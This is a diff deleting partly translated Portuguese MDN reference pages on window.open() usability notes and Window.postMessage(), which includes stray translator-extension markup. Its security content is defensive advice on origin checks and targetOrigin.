-<p>If you want to offer to open a link in a new window, then follow tested and recommendable usability and accessibility guidelines:</p>
-
-<h4 id="Never_use_this_form_of_code_for_links_&lt;a_hrefjavascriptwindow.open(...)_...>"><em>Never</em> use this form of code for links: <code>&lt;a href="javascript:window.open(...)" ...&gt;</code></h4>
-
-<p>"javascript:" links break accessibility and usability of webpages in every browser.</p>
-
-<ul>
- <li>"javascript:" pseudo-links become dysfunctional when javascript support is disabled or inexistent. Several corporations allow their employees to surf on the web but under strict security policies: no javascript enabled, no java, no activeX, no Flash. For various reasons (security, public access, text browsers, etc..), about 5% to 10% of users on the web surf with javascript disabled.</li>
- <li>"javascript:" links will interfere with advanced features in tab-capable browsers: eg. middle-click on links, Ctrl+click on links, tab-browsing features in extensions, etc.</li>
- <li>"javascript:" links will interfere with the process of indexing webpages by search engines.</li>
- <li>"javascript:" links interfere with assistive technologies (e.g. voice browsers) and several web-aware applications (e.g. <abbr title="Personal Digital Assistant">PDAs</abbr> and mobile browsers).</li>
- <li>"javascript:" links also interfere with "mouse gestures" features implemented in browsers.</li>
- <li>Protocol scheme "javascript:" will be reported as an error by link validators and link checkers.</li>
-</ul>
-
-<p><strong>Further reading:</strong></p>
-
-<ul>
- <li><a href="http://www.useit.com/alertbox/20021223.html">Top Ten Web-Design Mistakes of 2002</a>, 6. JavaScript in Links, Jakob Nielsen, December 2002</li>
- <li><a href="http://www.evolt.org/article/Links_and_JavaScript_Living_Together_in_Harmony/17/20938/">Links &amp; JavaScript Living Together in Harmony</a>, Jeff Howden, February 2002</li>
- <li><a href="http://jibbering.com/faq/#FAQ4_24">comp.lang.javascript newsgroup discussion FAQ on "javascript:" links</a></li>
-</ul>
-
-<h4 id="Never_use_&lt;a_href_onclickwindow.open(...)>">Never use <code>&lt;a href="#" onclick="window.open(...);"&gt;</code></h4>
-
-<p>Such pseudo-link also breaks accessibility of links. <strong>Always use a real URL for the href attribute value</strong> so that if javascript support is disabled or inexistent or if the user agent does not support opening of secondary window (like MS-Web TV, text browsers, etc), then such user agents will still be able to load the referenced resource according to its default mode of opening/handling a referenced resource. This form of code also interferes with advanced features in tab-capable browsers: eg. middle-click on links, Ctrl+click on links, Ctrl+Enter on links, "mouse gestures" features.</p>
-
-<h4 id="Always_identify_links_which_will_create_(or_will_re-use)_a_new_secondary_window">Always identify links which will create (or will re-use) a new, secondary window</h4>
-
-<p>Identify links that will open new windows in a way that helps navigation for users by coding the title attribute of the link, by adding an icon at the end of the link or by coding the cursor accordingly.</p>
-
-<p>The purpose is to warn users in advance of context changes to minimize confusion on the user's part: changing the current window or popping up new windows can be very disorienting to users (Back toolbar button is disabled).</p>
-
-<blockquote>
-<p>"Users often don't notice that a new window has opened, especially if they are using a small monitor where the windows are maximized to fill up the screen. So a user who tries to return to the origin will be confused by a grayed out <em>Back</em> button."<br>
- quote from <a href="http://www.useit.com/alertbox/990530.html">The Top Ten <em>New</em> Mistakes of Web Design</a>: 2. Opening New Browser Windows, Jakob Nielsen, May 1999</p>
-</blockquote>
-
-<p>When extreme changes in context are explicitly identified before they occur, then the users can determine if they wish to proceed or so they can be prepared for the change: not only they will not be confused or feel disoriented, but more experienced users can better decide how to open such links (in a new window or not, in the same window, in a new tab or not, in "background" or not).</p>
-
-<p><strong>Referências</strong></p>
-
-<ul>
- <li>"If your link spawns a new window, or causes another windows to 'pop up' on your display, or move the focus of the system to a new FRAME or Window, then the nice thing to do is to tell the user that something like that will happen." <a href="http://www.w3.org/WAI/wcag-curric/sam77-0.htm">World Wide Web Consortium Accessibility Initiative regarding popups</a></li>
- <li>"Use link titles to provide users with a preview of where each link will take them, before they have clicked on it." <a href="http://www.useit.com/alertbox/991003.html">Ten Good Deeds in Web Design</a>, Jakob Nielsen, October 1999</li>
- <li><a href="http://www.useit.com/alertbox/980111.html">Using Link Titles to Help Users Predict Where They Are Going</a>, Jakob Nielsen, January 1998</li>
-</ul>
-
-<table class="standard-table">
- <tbody>
- <tr>
- <td class="header" colspan="4">Example "New Window" Icons &amp; Cursors</td>
- </tr>
- <tr>
- <td><img alt="New window icon from yahoo.com" src="/@api/deki/files/782/=NewwindowYahoo.png"></td>
- <td><img alt="New window icon from microsoft.com" src="/@api/deki/files/780/=NewwinMSIE.gif"></td>
- <td><img alt="New window icon from webaim.org" src="/@api/deki/files/296/=Popup_requested_new_window.gif"></td>
- <td><img alt="New window icon from sun.com" src="/@api/deki/files/811/=PopupImageSun.gif"></td>
- </tr>
- <tr>
- <td><img alt="New window icon from bbc.co.uk" src="/@api/deki/files/795/=Opennews_rb.gif"></td>
- <td><img alt="New window icon from Accessible Internet Solutions" src="/@api/deki/files/15/=AIS_NewWindowIcon.png"></td>
- <td><img alt="New window icon from accessify.com" src="/@api/deki/files/809/=Pop-up-launcher.gif"></td>
- <td><img alt="New window icon from webstyleguide.com" src="/@api/deki/files/417/=Webstyleguide_com_newwind.gif"></td>
- </tr>
- <tr>
- <td><img alt="New window icon from an unknown source" src="/@api/deki/files/810/=Popicon_1.gif"></td>
- <td><img alt="New window icon from an unknown source" src="/@api/deki/files/779/=New.gif"></td>
- <td><img alt="New window icon from an unknown source" src="/@api/deki/files/419/=WillCreateOrRecycleNewWindow.gif"></td>
- <td><img alt="New window icon from gtalbot.org" src="/@api/deki/files/287/=OpenRequestedPopup.png"></td>
- </tr>
- <tr>
- <td colspan="2"><img alt="New window cursor from draig.de" src="/@api/deki/files/169/=Cursor_LinkNewWindowTargetBlank.png"></td>
- <td colspan="2"><img alt="New window cursor from mithgol.ru" src="/@api/deki/files/170/=Cursor_newwindowSergeySokoloff.png"></td>
- </tr>
- </tbody>
-</table>
-
-<h4 id="Utilziar_sempre_o_atributo_target">Utilziar sempre o atributo <em>target</em></h4>
-
-<p>If javascript support is disabled or non-existent, then the user agent will create a secondary window accordingly or will render the referenced resource according to its handling of the target attribute: e.g. some user agents which can not create new windows, like MS Web TV, will fetch the referenced resource and append it at the end of the current document. The goal and the idea is to try to provide - <strong>not impose</strong> - to the user a way to open the referenced resource, a mode of opening the link. Your code should not interfere with the features of the browser at the disposal of the user and your code should not interfere with the final decision resting with the user.</p>
-
-<h4 id="Não_utilizar_target_blank">Não utilizar <code>target="_blank"</code></h4>
-
-<p>Always provide a meaningful name to your target attribute and try to reuse such target attribute in your page so that a click on another link may load the referenced resource in an already created and rendered window (therefore speeding up the process for the user) and therefore justifying the reason (and user system resources, time spent) for creating a secondary window in the first place. Using a single target attribute value and reusing it in links is much more user resources friendly as it only creates one single secondary window which is recycled. On the other hand, using "_blank" as the target attribute value will create several new and unnamed windows on the user's desktop which can not be recycled, reused. In any case, if your code is well done, it should not interfere with the user's final choice but rather merely offer him more choices, more ways to open links and more power to the tool he's using (a browser).</p>
-
-<h2 id="Glossário">Glossário</h2>
-
-<dl>
- <dt>Opener window, parent window, main window, first window</dt>
- <dd>Terms often used to describe or to identify the same window. It is the window from which a new window will be created. It is the window on which the user clicked a link which lead to the creation of another, new window.</dd>
- <dt>Sub-window, child window, secondary window, second window</dt>
- <dd>Terms often used to describe or to identify the same window. It is the new window which was created.</dd>
- <dt>Unrequested popup windows</dt>
- <dd>Script-initiated windows opening automatically without the user's consent.</dd>
-</dl>
-
-<h2 id="Especificação">Especificação</h2>
-
-<table class="standard-table">
- <thead>
- <tr>
- <th scope="col">Especificação</th>
- <th scope="col">Estado</th>
- <th scope="col">Comentário</th>
- </tr>
- </thead>
- <tbody>
- <tr>
- <td>{{SpecName('HTML WHATWG', 'browsers.html#dom-open', 'Window.open()')}}</td>
- <td>{{Spec2('HTML WHATWG')}}</td>
- <td> </td>
- </tr>
- <tr>
- <td>{{ SpecName('CSSOM View', '#the-features-argument-to-the-open()-method', 'The features argument to the open() method') }}</td>
- <td>{{ Spec2('CSSOM View') }}</td>
- <td>Defines the effect of the <code>features</code> argument</td>
- </tr>
- </tbody>
-</table>
-
-<h2 id="Notas">Notas</h2>
-
-<h3 id="Nota_na_precedência">Nota na precedência</h3>
-
-<p>In cases where <code>left</code> and <code>screenX</code> (and/or <code>top</code> and <code>screenY</code>) have conflicting values, then <code>left</code> and <code>top</code> have precedence over <code>screenX</code> and <code>screenY</code> respectively. If <code>left</code> and <code>screenX</code> (and/or <code>top</code> and <code>screenY</code>) are defined in the <var>features</var> list, then <code>left</code> (and/or <code>top</code>) will be honored and rendered. In the following example the new window will be positioned at 100 pixels from the left side of the work area for applications of the user's operating system, not at 200 pixels.</p>
-
-<pre class="brush:js">windowObjectReference = window.open(
- "http://news.bbc.co.uk/",
- "BBCWorldNewsWindowName",
- "left=100,screenX=200,resizable,scrollbars,status"
-);</pre>
-
-<p>If left is set but top has no value and screenY has a value, then left and screenY will be the coordinate positioning values of the secondary window.</p>
-
-<p>outerWidth has precedence over width and width has precedence over innerWidth. outerHeight has precedence over height and height has precedence over innerHeight. In the following example, Mozilla-browsers will create a new window with an outerWidth of 600 pixels wide and will ignore the request of a width of 500 pixels and will also ignore the request of an innerWidth of 400 pixels.</p>
-
-<pre class="brush:js">windowObjectReference = window.open(
- "http://www.wwf.org/",
- "WWildlifeOrgWindowName",
- "outerWidth=600,width=500,innerWidth=400,resizable,scrollbars,status"
-);</pre>
-
-<h3 id="Nota_na_correção_de_erro_da_posição_e_dimensão">Nota na correção de erro da posição e dimensão</h3>
-
-<p>Requested position and requested dimension values in the <var>features</var> list will not be honored and <strong>will be corrected</strong> if any of such requested value does not allow the entire browser window to be rendered within the work area for applications of the user's operating system. <strong>No part of the new window can be initially positioned offscreen. This is by default in all Mozilla-based browser releases.</strong></p>
-
-<p><a href="http://msdn2.microsoft.com/en-us/library/ms997645.aspx#xpsp_topic5">MSIE 6 SP2 has a similar error correction mechanism</a> but it is not activated by default in all security levels: a security setting can disable such error correction mechanism.</p>
-
-<h3 id="Nota_nas_scrollbars">Nota nas <em>scrollbars</em></h3>
-
-<p>When content overflows window viewport dimensions, then scrollbar(s) (or some scrolling mechanism) are necessary to ensure that content can be accessed by users. Content can overflow window dimensions for several reasons which are outside the control of web authors:</p>
-
-<ul>
- <li>user resizes the window</li>
- <li>user increases the text size of fonts via View/Text Zoom (%) menuitem in Mozilla or View/Text Size/Increase or Decrease in Firefox</li>
- <li>user sets a minimum font size for pages which is bigger than the font-size the web author requested. People over 40 years old or with particular viewing habit or reading preference often set a minimal font size in Mozilla-based browsers.</li>
- <li>web author is not aware of default margin (and/or border and/or padding) values applying to root element or body node in various browsers and various browser versions</li>
- <li>user uses an user stylesheet (<a href="http://www.mozilla.org/support/firefox/edit#content">userContent.css in Mozilla-based browsers</a>) for his viewing habits which increases document box dimensions (margin, padding, default font size)</li>
- <li>user can customize individually the size (height or width) of most toolbars via operating system settings. E.g. window resizing borders, height of browser titlebar, menubar, scrollbars, font size are entirely customizable by the user in Windows XP operating system. These toolbars dimensions can also be set via browser themes and skins or by operating system themes</li>
- <li>web author is unaware that the user default browser window has custom toolbar(s) for specific purpose(s); e.g.: prefs bar, web developer bar, accessibility toolbar, popup blocking and search toolbar, multi-feature toolbar, etc.</li>
- <li>user uses assistive technologies or add-on features which modify the operating system's work area for applications: e.g. MS-Magnifier</li>
- <li>user repositions and/or resizes directly or indirectly the operating system's work area for applications: e.g. user resizes the Windows taskbar, user positions the Windows taskbar on the left side (arabic language based) or right side (Hebrew language), user has a permanent MS-Office quick launch toolbar, etc.</li>
- <li>some operating system (Mac OS X) forces presence of toolbars which can then fool the web author's anticipations, calculations of the effective dimensions of the browser window</li>
-</ul>
-
-<h3 id="Nota_na_barra_de_estado">Nota na barra de estado</h3>
-
-<p>You should assume that a large majority of browsers will have the status bar or that a large majority of users will want to force the status bar presence: best is to always set this feature to yes. Also, if you specifically request to remove the status bar, then Firefox users will not be able to view the Site Navigation toolbar if it is installed. In Mozilla and in Firefox, all windows with a status bar have a window resizing grippy at its right-most side. The status bar also provides info on http connection, hypertext resource location, download progress bar, encryption/secure connection info with <abbr title="Secure Socket Layer">SSL</abbr> connection (displaying a yellow padlock icon), internet/security zone icons, privacy policy/cookie icon, etc. <strong>Removing the status bar usually removes a lot of functionality, features and information considered useful (and sometimes vital) by the users.</strong></p>
-
-<h3 id="Nota_nos_problemas_de_segurança_da_presença_da_barra_de_estado">Nota nos problemas de segurança da presença da barra de estado</h3>
-
-<p>In MSIE 6 for XP SP2: For windows opened using <code>window.open()</code>:</p>
-
-<blockquote>
-<p>"For windows opened using window.open():<br>
- Expect the status bar to be present, and code for it. <strong>The status bar will be on by default</strong> and is 20-25 pixels in height. (...)"<br>
- quote from <a href="http://msdn2.microsoft.com/en-us/library/ms997645.aspx#xpsp_topic5">Fine-Tune Your Web Site for Windows XP Service Pack 2, Browser Window Restrictions in XP SP2</a></p>
-</blockquote>
-
-<blockquote>
-<p>"(...) windows that are created using the window.open() method can be called by scripts and used to spoof a user interface or desktop or to hide malicious information or activity by sizing the window so that the status bar is not visible.<br>
- Internet Explorer windows provide visible security information to the user to help them ascertain the source of the Web page and the security of the communication with that page. When these elements are not in view, the user might think they are on a more trusted page or interacting with a system process when they are actually interacting with a malicious host. (...)<br>
- <strong>Script-initiated windows will be displayed fully, with the Internet Explorer title bar and status bar.</strong> (...)<br>
- Script management of Internet Explorer status bar<br>
- Detailed description<br>
- <strong>Internet Explorer has been modified to not turn off the status bar for any windows. The status bar is always visible for all Internet Explorer windows.</strong> (...) Without this change, windows that are created using the window.open() method can be called by scripts and spoof a user interface or desktop or hide malicious information or activity by hiding important elements of the user interface from the user.<br>
- The status bar is a security feature of Internet Explorer windows that provides Internet Explorer security zone information to the user. This zone cannot be spoofed (...)"<br>
- quote from <a href="http://technet.microsoft.com/en-us/library/bb457150.aspx#ECAA">Changes to Functionality in Microsoft Windows XP Service Pack 2, Internet Explorer Window Restrictions</a></p>
-</blockquote>
-
-<h3 id="Nota_no_ecrã_completo">Nota no ecrã completo</h3>
-
-<p>In MSIE 6 for XP SP2:</p>
-
-<ul>
- <li>"window.open() with fullscreen=yes will now result in a maximized window, not a kiosk mode window."</li>
- <li>"The definition of the fullscreen=yes specification is changed to mean 'show the window as maximized,' which will keep the title bar, address bar, and status bar visible."</li>
-</ul>
-
-<h4 id="Referências">Referências:</h4>
-
-<ul>
- <li><a href="http://msdn2.microsoft.com/en-us/library/ms997645.aspx#xpsp_topic5">Fine-Tune Your Web Site for Windows XP Service Pack 2</a></li>
- <li><a href="http://technet.microsoft.com/en-us/library/bb457150.aspx#ECAA">Changes to Functionality in Microsoft Windows XP Service Pack 2, Script sizing of Internet Explorer windows</a></li>
-</ul>
-
-<h3 id="Nota_em_outerHeight_versus_height">Nota em outerHeight <em>versus </em>height</h3>
-
-<p><img alt="innerHeight vs outerHeight illustration" src="/@api/deki/files/212/=FirefoxInnerVsOuterHeight.png"></p>
-
-<h3 id="Nota_na_atualização_(recarregar_página)_vs._abrir_uma_nova_janelaseparador">Nota na atualização (recarregar página) vs. abrir uma nova janela/separador</h3>
-
-<p>If the <code>strWindowName</code> parameter is omitted, a new window or tab is opened. If a window with the same name already exists, the existing window is refreshed.</p>
-
-<pre class="brush:js">//Always opens a new window/tab
-window.open("map.php");
-
-//Refreshes an existing window/tab that was opened with the same name, if one exists
-window.open("map.php", "BiggerMap");</pre>
-
-<h2 id="Tutoriais">Tutoriais</h2>
-
-<ul>
- <li><a href="http://www.infimum.dk/HTML/JSwindows.html">JavaScript windows (tutorial)</a> by Lasse Reichstein Nielsen</li>
- <li><a href="http://accessify.com/features/tutorials/the-perfect-popup/" title="http://accessify.com/features/tutorials/the-perfect-popup/">The perfect pop-up (tutorial)</a> by Ian Lloyd</li>
- <li><a href="http://www.gtalbot.org/FirefoxSection/Popup/PopupAndFirefox.html">Popup windows and Firefox (interactive demos)</a> by Gérard Talbot</li>
-</ul>
-
-<h2 id="Referências_2">Referências</h2>
-
-<ul>
- <li><a href="http://www.cs.tut.fi/~jkorpela/www/links.html">Links Want To Be Links</a> by Jukka K. Korpela</li>
- <li><a href="http://www.evolt.org/article/Links_and_JavaScript_Living_Together_in_Harmony/17/20938/">Links &amp; JavaScript Living Together in Harmony</a> by Jeff Howden</li>
-</ul>
-
-<div id="SL_balloon_obj" style="display: block;">
-<div class="SL_ImTranslatorLogo" id="SL_button" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%; opacity: 0; display: block; left: -8px; top: -25px; transition: visibility 2s ease 0s, opacity 2s linear 0s;"> </div>
-
-<div id="SL_shadow_translation_result2" class="hidden"> </div>
-
-<div id="SL_shadow_translator" class="hidden">
-<div id="SL_planshet">
-<div id="SL_arrow_up" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;"> </div>
-
-<div id="SL_Bproviders">
-<div class="SL_BL_LABLE_ON" id="SL_P0" title="Google">G</div>
-
-<div class="SL_BL_LABLE_ON" id="SL_P1" title="Microsoft">M</div>
-
-<div class="SL_BL_LABLE_ON" id="SL_P2" title="Translator">T</div>
-</div>
-
-<div id="SL_alert_bbl" class="hidden">
-<div id="SLHKclose" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;"> </div>
-
-<div id="SL_alert_cont"> </div>
-</div>
-
-<div id="SL_TB">
-<table id="SL_tables">
- <tbody>
- <tr>
- <td class="SL_td"><input></td>
- <td class="SL_td"><select><option value="auto">Detectar idioma</option><option value="af">Africâner</option><option value="sq">Albanês</option><option value="de">Alemão</option><option value="ar">Arabe</option><option value="hy">Armênio</option><option value="az">Azerbaijano</option><option value="eu">Basco</option><option value="bn">Bengali</option><option value="be">Bielo-russo</option><option value="my">Birmanês</option><option value="bs">Bósnio</option><option value="bg">Búlgaro</option><option value="ca">Catalão</option><option value="kk">Cazaque</option><option value="ceb">Cebuano</option><option value="ny">Chichewa</option><option value="zh-CN">Chinês (Simp)</option><option value="zh-TW">Chinês (Trad)</option><option value="si">Cingalês</option><option value="ko">Coreano</option><option value="ht">Crioulo haitiano</option><option value="hr">Croata</option><option value="da">Dinamarquês</option><option value="sk">Eslovaco</option><option value="sl">Esloveno</option><option value="es">Espanhol</option><option value="eo">Esperanto</option><option value="et">Estoniano</option><option value="fi">Finlandês</option><option value="fr">Francês</option><option value="gl">Galego</option><option value="cy">Galês</option><option value="ka">Georgiano</option><option value="el">Grego</option><option value="gu">Gujarati</option><option value="ha">Hauça</option><option value="iw">Hebraico</option><option value="hi">Hindi</option><option value="hmn">Hmong</option><option value="nl">Holandês</option><option value="hu">Húngaro</option><option value="ig">Igbo</option><option value="id">Indonésio</option><option value="en">Inglês</option><option value="yo">Ioruba</option><option value="ga">Irlandês</option><option value="is">Islandês</option><option value="it">Italiano</option><option value="ja">Japonês</option><option value="jw">Javanês</option><option value="kn">Kannada</option><option value="km">Khmer</option><option value="lo">Laosiano</option><option value="la">Latim</option><option value="lv">Letão</option><option value="lt">Lituano</option><option value="mk">Macedônico</option><option value="ml">Malaiala</option><option value="ms">Malaio</option><option value="mg">Malgaxe</option><option value="mt">Maltês</option><option value="mi">Maori</option><option value="mr">Marathi</option><option value="mn">Mongol</option><option value="ne">Nepalês</option><option value="no">Norueguês</option><option value="fa">Persa</option><option value="pl">Polonês</option><option value="pt">Português</option><option value="pa">Punjabi</option><option value="ro">Romeno</option><option value="ru">Russo</option><option value="sr">Sérvio</option><option value="st">Sesotho</option><option value="so">Somália</option><option value="sw">Suaíli</option><option value="su">Sudanês</option><option value="sv">Sueco</option><option value="tg">Tadjique</option><option value="tl">Tagalo</option><option value="th">Tailandês</option><option value="ta">Tâmil</option><option value="cs">Tcheco</option><option value="te">Telugo</option><option value="tr">Turco</option><option value="uk">Ucraniano</option><option value="ur">Urdu</option><option value="uz">Uzbeque</option><option value="vi">Vietnamita</option><option value="yi">Yiddish</option><option value="zu">Zulu</option></select></td>
- <td class="SL_td">
- <div id="SL_switch_b" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Alternar Idiomas"> </div>
- </td>
- <td class="SL_td"><select><option value="af">Africâner</option><option value="sq">Albanês</option><option value="de">Alemão</option><option value="ar">Arabe</option><option value="hy">Armênio</option><option value="az">Azerbaijano</option><option value="eu">Basco</option><option value="bn">Bengali</option><option value="be">Bielo-russo</option><option value="my">Birmanês</option><option value="bs">Bósnio</option><option value="bg">Búlgaro</option><option value="ca">Catalão</option><option value="kk">Cazaque</option><option value="ceb">Cebuano</option><option value="ny">Chichewa</option><option value="zh-CN">Chinês (Simp)</option><option value="zh-TW">Chinês (Trad)</option><option value="si">Cingalês</option><option value="ko">Coreano</option><option value="ht">Crioulo haitiano</option><option value="hr">Croata</option><option value="da">Dinamarquês</option><option value="sk">Eslovaco</option><option value="sl">Esloveno</option><option value="es">Espanhol</option><option value="eo">Esperanto</option><option value="et">Estoniano</option><option value="fi">Finlandês</option><option value="fr">Francês</option><option value="gl">Galego</option><option value="cy">Galês</option><option value="ka">Georgiano</option><option value="el">Grego</option><option value="gu">Gujarati</option><option value="ha">Hauça</option><option value="iw">Hebraico</option><option value="hi">Hindi</option><option value="hmn">Hmong</option><option value="nl">Holandês</option><option value="hu">Húngaro</option><option value="ig">Igbo</option><option value="id">Indonésio</option><option selected value="en">Inglês</option><option value="yo">Ioruba</option><option value="ga">Irlandês</option><option value="is">Islandês</option><option value="it">Italiano</option><option value="ja">Japonês</option><option value="jw">Javanês</option><option value="kn">Kannada</option><option value="km">Khmer</option><option value="lo">Laosiano</option><option value="la">Latim</option><option value="lv">Letão</option><option value="lt">Lituano</option><option value="mk">Macedônico</option><option value="ml">Malaiala</option><option value="ms">Malaio</option><option value="mg">Malgaxe</option><option value="mt">Maltês</option><option value="mi">Maori</option><option value="mr">Marathi</option><option value="mn">Mongol</option><option value="ne">Nepalês</option><option value="no">Norueguês</option><option value="fa">Persa</option><option value="pl">Polonês</option><option value="pt">Português</option><option value="pa">Punjabi</option><option value="ro">Romeno</option><option value="ru">Russo</option><option value="sr">Sérvio</option><option value="st">Sesotho</option><option value="so">Somália</option><option value="sw">Suaíli</option><option value="su">Sudanês</option><option value="sv">Sueco</option><option value="tg">Tadjique</option><option value="tl">Tagalo</option><option value="th">Tailandês</option><option value="ta">Tâmil</option><option value="cs">Tcheco</option><option value="te">Telugo</option><option value="tr">Turco</option><option value="uk">Ucraniano</option><option value="ur">Urdu</option><option value="uz">Uzbeque</option><option value="vi">Vietnamita</option><option value="yi">Yiddish</option><option value="zu">Zulu</option></select></td>
- <td class="SL_td">
- <div id="SL_TTS_voice" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Ouça"> </div>
- </td>
- <td class="SL_td">
- <div class="SL_copy" id="SL_copy" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Copiar"> </div>
- </td>
- <td class="SL_td">
- <div id="SL_bbl_font_patch"> </div>
-
- <div class="SL_bbl_font" id="SL_bbl_font" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Tamanho da fonte"> </div>
- </td>
- <td class="SL_td">
- <div id="SL_bbl_help" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Ajuda"> </div>
- </td>
- <td class="SL_td">
- <div class="SL_pin_off" id="SL_pin" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Fixar a janela de pop-up"> </div>
- </td>
- </tr>
- </tbody>
-</table>
-</div>
-</div>
-
-<div id="SL_shadow_translation_result" style=""> </div>
-
-<div class="SL_loading" id="SL_loading" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;"> </div>
-
-<div id="SL_player2"> </div>
-
-<div id="SL_alert100">A função de fala é limitada a 200 caracteres</div>
-
-<div id="SL_Balloon_options" style="background: rgb(255, 255, 255) repeat scroll 0% 0%;">
-<div id="SL_arrow_down" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;"> </div>
-
-<table id="SL_tbl_opt" style="width: 100%;">
- <tbody>
- <tr>
- <td><input></td>
- <td>
- <div id="SL_BBL_IMG" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Mostrar o botão do ImTranslator 3 segundos"> </div>
- </td>
- <td><a class="SL_options" title="Mostrar opções">Opções</a> : <a class="SL_options" title="Histórico de tradução">Histórico</a> : <a class="SL_options" title="Comentários">Comentários</a> : <a class="SL_options" href="https://www.paypal.com/cgi-bin/webscr?cmd=_s-xclick&amp;hosted_button_id=GD9D8CPW8HFA2" title="Faça sua contribuição">Donate</a></td>
- <td><span id="SL_Balloon_Close" title="Encerrar">Encerrar</span></td>
- </tr>
- </tbody>
-</table>
-</div>
-</div>
-</div>
diff --git a/files/pt-pt/web/api/window/postmessage/index.html b/files/pt-pt/web/api/window/postmessage/index.html
deleted file mode 100644
index 2787caaa32..0000000000
--- a/files/pt-pt/web/api/window/postmessage/index.html
+++ /dev/null
@@ -1,337 +0,0 @@
----
-title: Window.postMessage()
-slug: Web/API/Window/postMessage
-tags:
- - API
- - DOM
- - Janela
- - Referencia
- - metodo
-translation_of: Web/API/Window/postMessage
----
-<div>{{ApiRef("HTML DOM")}}</div>
-
-<p>O método <strong><code>window.postMessage()</code></strong>  permite a comunicação segura de origem cruzada. Normalmente, é permitido que os <em>scripts </em>em páginas diferentes podem aceder a cada uma delas, se e apenas se as páginas que os executaram estão em localizações com o mesmo protocolo (normalmente ambas <code>https</code>), número da porta (<code>443</code>, por predefinição para <code>https</code>), e anfitrião (módulo {{domxref("Document.domain")}}, sendo definidos por ambas as páginas para o mesmo valor). <code>window.postMessage()</code> fornece um mecanismo para contornar esta restrição de um modo que é seguro quando utilizado corretamente.</p>
-
-<p>The <code>window.postMessage()</code> method, when called, causes a {{domxref("MessageEvent")}} to be dispatched at the target window when any pending script that must be executed completes (e.g., remaining event handlers if <code>window.postMessage()</code> is called from an event handler, previously-set pending timeouts, etc.) The {{domxref("MessageEvent")}} has the type <code>message</code>, a <code>data</code> property which is set to the value of the first argument provided to <code>window.postMessage()</code>, an <code>origin</code> property corresponding to the origin of the main document in the window calling <code>window.postMessage</code> at the time <code>window.postMessage()</code> was called, and a <code>source</code> property which is the window from which <code>window.postMessage()</code> is called. (Other standard properties of events are present with their expected values.)</p>
-
-<h2 id="Sintaxe">Sintaxe</h2>
-
-<pre class="syntaxbox"><em>otherWindow</em>.postMessage(<em>message</em>, <em>targetOrigin</em>, [<em>transfer</em>]);</pre>
-
-<dl>
- <dt><code><em>otherWindow</em></code></dt>
- <dd>A reference to another window; such a reference may be obtained, for example, using the <code>contentWindow</code> property of an <code>iframe</code> element, the object returned by <a href="/en-US/docs/DOM/window.open">window.open</a>, or by named or numeric index on {{domxref("Window.frames")}}, if you're trying to start the communication from iframe to parent window then <a href="/en-US/docs/Web/API/Window/parent">parent</a> is also a valid reference</dd>
- <dt><code><em>message</em></code></dt>
- <dd>Data to be sent to the other window. The data is serialized using <a href="/en-US/docs/DOM/The_structured_clone_algorithm">the structured clone algorithm</a>. This means you can pass a broad variety of data objects safely to the destination window without having to serialize them yourself. [<a href="/en-US/docs/">1</a>]</dd>
- <dt><code><em>targetOrigin</em></code></dt>
- <dd>Specifies what the origin of <code>otherWindow</code> must be for the event to be dispatched, either as the literal string <code>"*"</code> (indicating no preference) or as a URI. If at the time the event is scheduled to be dispatched the scheme, hostname, or port of <code>otherWindow</code>'s document does not match that provided in <code>targetOrigin</code>, the event will not be dispatched; only if all three match will the event be dispatched. This mechanism provides control over where messages are sent; for example, if <code>postMessage()</code> was used to transmit a password, it would be absolutely critical that this argument be a URI whose origin is the same as the intended receiver of the message containing the password, to prevent interception of the password by a malicious third party. <strong>Always provide a specific <code>targetOrigin</code>, not <code>*</code>, if you know where the other window's document should be located. Failing to provide a specific target discloses the data you send to any interested malicious site.</strong></dd>
- <dt><code><em><strong>transfer</strong></em></code> {{optional_Inline}}</dt>
- <dd>Is a sequence of {{domxref("Transferable")}} objects that are transferred with the message. The ownership of these objects is given to the destination side and they are no longer usable on the sending side.</dd>
-</dl>
-
-<h2 id="O_evento_expedido">O evento expedido</h2>
-
-<p><code>otherWindow</code> can listen for dispatched messages by executing the following JavaScript:</p>
-
-<pre class="brush: js">window.addEventListener("message", receiveMessage, false);
-
-function receiveMessage(event)
-{
- if (event.origin !== "http://example.org:8080")
- return;
-
- // ...
-}
-</pre>
-
-<p>The properties of the dispatched message are:</p>
-
-<dl>
- <dt><code>data</code></dt>
- <dd>The object passed from the other window.</dd>
- <dt><code>origin</code></dt>
- <dd>The <a href="/en-US/docs/Origin">origin</a> of the window that sent the message at the time <code>postMessage</code> was called. This string is the concatenation of the protocol and "://", the host name if one exists, and ":" followed by a port number if a port is present and differs from the default port for the given protocol. Examples of typical origins are <code class="nowiki">https://example.org</code> (implying port <code>443</code>), <code class="nowiki">http://example.net</code> (implying port <code>80</code>), and <code class="nowiki">http://example.com:8080</code>. Note that this origin is <em>not</em> guaranteed to be the current or future origin of that window, which might have been navigated to a different location since <code>postMessage</code> was called.</dd>
- <dt><code>source</code></dt>
- <dd>A reference to the <code><a href="/en-US/docs/DOM/window">window</a></code> object that sent the message; you can use this to establish two-way communication between two windows with different origins.</dd>
-</dl>
-
-<h2 id="Preocupações_de_segurança">Preocupações de segurança</h2>
-
-<p><strong>If you do not expect to receive messages from other sites, <em>do not</em> add any event listeners for <code>message</code> events.</strong> This is a completely foolproof way to avoid security problems.</p>
-
-<p>If you do expect to receive messages from other sites, <strong>always verify the sender's identity</strong> using the <code>origin</code> and possibly <code>source</code> properties. Any window (including, for example, <code class="nowiki">http://evil.example.com</code>) can send a message to any other window, and you have no guarantees that an unknown sender will not send malicious messages. Having verified identity, however, you still should <strong>always verify the syntax of the received message</strong>. Otherwise, a security hole in the site you trusted to send only trusted messages could then open a cross-site scripting hole in your site.</p>
-
